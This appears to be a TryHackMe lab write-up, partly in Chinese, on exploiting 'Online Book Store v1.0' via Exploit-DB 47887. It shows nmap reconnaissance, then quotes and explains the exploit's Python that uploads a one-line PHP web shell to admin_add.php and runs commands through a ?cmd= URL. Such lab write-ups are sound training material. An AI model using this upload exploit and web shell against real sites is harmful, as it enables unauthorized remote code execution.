---
# System prepended metadata

title: Exploit Vulnerabilities
tags: [tryhackme]

---

# Exploit Vulnerabilities

###### tags: `tryhackme`

[TOC]

## Gathering Information

ip 10.10.167.176

### Nmap 

![](https://i.imgur.com/7Khhmn9.png)


firefox 10.10.20.249:80

![](https://i.imgur.com/5DlehwL.png)

The name and version number of the application
->Online Book Store v1.0


### Exploit-DB



![](https://i.imgur.com/ZyNMfOF.png)


https://www.exploit-db.com/exploits/47887


這個腳本使用argparse模組來處理命令列參數

```python
parser = argparse.ArgumentParser()
parser.add_argument('url', action='store', help='The URL of the target.')
args = parser.parse_args()
```


並使用requests模組來發送HTTP請求
使用POST請求將Web Shell上傳到應用程式的admin_add.php頁面

```python
url = args.url.rstrip('/')
r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)
print('> Verifying shell upload...')
```

腳本生成了一個隨機檔案名稱，並將其作為PHP Web Shell的檔案名稱保存。接著，腳本構造了一個簡單的PHP代碼，用於執行命令列參數中的命令。

```python
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))
payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'
file = {'image': (random_file + '.php', payload, 'text/php')}
```



Exploit Vulnerability 

LFI vulnerability  ＋ upload vulnerability 


Exploit Flow 
```
nano exploitRCEcode.py
apt install pip
pip install requests
```

```
python3 exploitRCE.py -h
python3 exploitRCE.py http://10.10.20.249

```

![](https://i.imgur.com/214Jqgn.png)


http://10.10.20.249/bootstrap/img/MQVnWWS3cb.php?cmd=whoami  RCE 

![](https://i.imgur.com/syl0b1H.png)



